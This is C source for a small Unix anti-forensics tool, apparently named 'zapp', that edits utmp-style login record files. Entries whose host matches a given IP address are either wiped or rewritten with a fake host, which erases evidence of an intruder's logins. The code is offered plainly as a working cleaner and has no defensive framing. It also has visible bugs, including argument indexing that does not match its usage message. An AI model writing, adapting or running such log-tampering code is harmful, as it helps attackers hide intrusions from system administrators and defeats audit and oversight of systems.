#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <string.h>
#define MAX           1024*5120
#define MIN           1024              
//void clean_file(char *host,char *fake);

void clean_file(char *host,char *fake,char *file)
{
         //char *file;
    //strcpy(file,argv[3]);
    struct utmp utmp_ent;
    int f;
        if ((f=open(file,O_RDWR))<0) {
		perror("open");
		close(f);
         }      
     while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
          if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
		  if(fake) {
			  memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
		  }else {
               memset(&utmp_ent,0,sizeof(struct utmp ));
		  }
               lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
               write (f, &utmp_ent, sizeof( utmp_ent ));
            } 
        }
     close(f);
     printf("finished cleaning log file\n\t");
}

int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{

    time_t t1,t2;
    if (argc<2) {
           printf("missing argument\n");
           printf("usage :./zapp <ip> <file>\n");
           return 0;
    } else {
             printf("cleaning file: %s erasing: %s with: %s \n",argv[2],argv[1],argv[0]);
	     time(&t1);
             clean_file(argv[1],argv[2],argv[3]);
	     time(&t2);
	     printf("the process time is %d ms\n",t2-t1);
    }
}


void str_replace(char *source,char *pattern,char *replace)
{
      char buffer[MIN];
      char part[MIN];
      int n;
      while((n=pos(source,pattern))>=0) {
                  strcpy(buffer,&source[n+strlen(pattern)]);
                  strcpy(&source[n],replace);
                  strncpy(part,source,n+strlen(replace));
                  part[n+strlen(replace)]='\0';
                  strcat(part,buffer);
                  strcpy(source,part);
                  n=pos(source,pattern);
             }  
}
int pos(char *source,char *pattern)
{
    char substring[MIN];
    int i=0,found=0,position;
    int pattern_len=strlen(pattern);
    while(!found && i<= strlen(source) - pattern_len) {
         strncpy(substring,&source[i],pattern_len);
         substring[pattern_len]='\0';
         if(strcmp(substring,pattern)==0)
              found=1;
         else
             ++i;
        }
     if(found)
           position=i;
      else 
           position=-1;
      return(position);
}